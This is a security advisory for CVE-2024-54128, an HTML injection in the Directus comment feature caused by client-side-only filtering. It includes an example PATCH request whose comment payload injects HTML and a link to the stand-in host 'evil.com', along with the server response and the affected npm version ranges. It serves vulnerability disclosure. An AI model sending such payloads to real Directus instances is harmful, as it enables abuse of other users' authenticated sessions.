GHSA-r6wx-627v-gh2f

Suggest an improvement
Source
https://github.com/advisories/GHSA-r6wx-627v-gh2f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-r6wx-627v-gh2f/GHSA-r6wx-627v-gh2f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-r6wx-627v-gh2f
Aliases
  • CVE-2024-54128
Published
2024-12-05T22:37:32Z
Modified
2024-12-05T22:57:11.679536Z
Severity
  • 5.7 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Directus has an HTML Injection in Comment
Details

Summary

The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.

Details

The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.

Example Request:

PATCH /activity/comment/3 HTTP/2
Host: directus.local

{
  "comment": "<h1>TEST &lt;p style=\"color:red\">HTML INJECTION</p> &lt;a href=\"//evil.com\">Test Link</a></h1>"
}

Example Response:

{
  "data": {
    "id": 3,
    "action": "comment",
    "user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
    "timestamp": "2023-09-06T02:23:40.740Z",
    "ip": "10.42.0.1",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "collection": "directus_files",
    "item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
    "comment": "<h1>TEST &lt;p style=\"color:red\">HTML INJECTION</p> &lt;a href=\"//evil.com\">Test Link</a></h1>",
    "origin": "https://directus.local",
    "revisions": []
  }
}

Example Result:

Screenshot 2023-09-06 094536

Impact

With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.

Database specific
{
    "github_reviewed_at": "2024-12-05T22:37:32Z",
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-80"
    ],
    "github_reviewed": true,
    "nvd_published_at": "2024-12-05T17:15:15Z"
}
References

Affected packages

npm / @directus/app

Package

Name
@directus/app
View open source insights on deps.dev
Purl
pkg:npm/%40directus/app

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0
Fixed
13.3.1

npm / directus

Package

Affected ranges

Type
SEMVER
Events
Introduced
10.10.0
Fixed
10.13.4

npm / directus

Package

Affected ranges

Type
SEMVER
Events
Introduced
11.0.0-rc.1
Fixed
11.2.2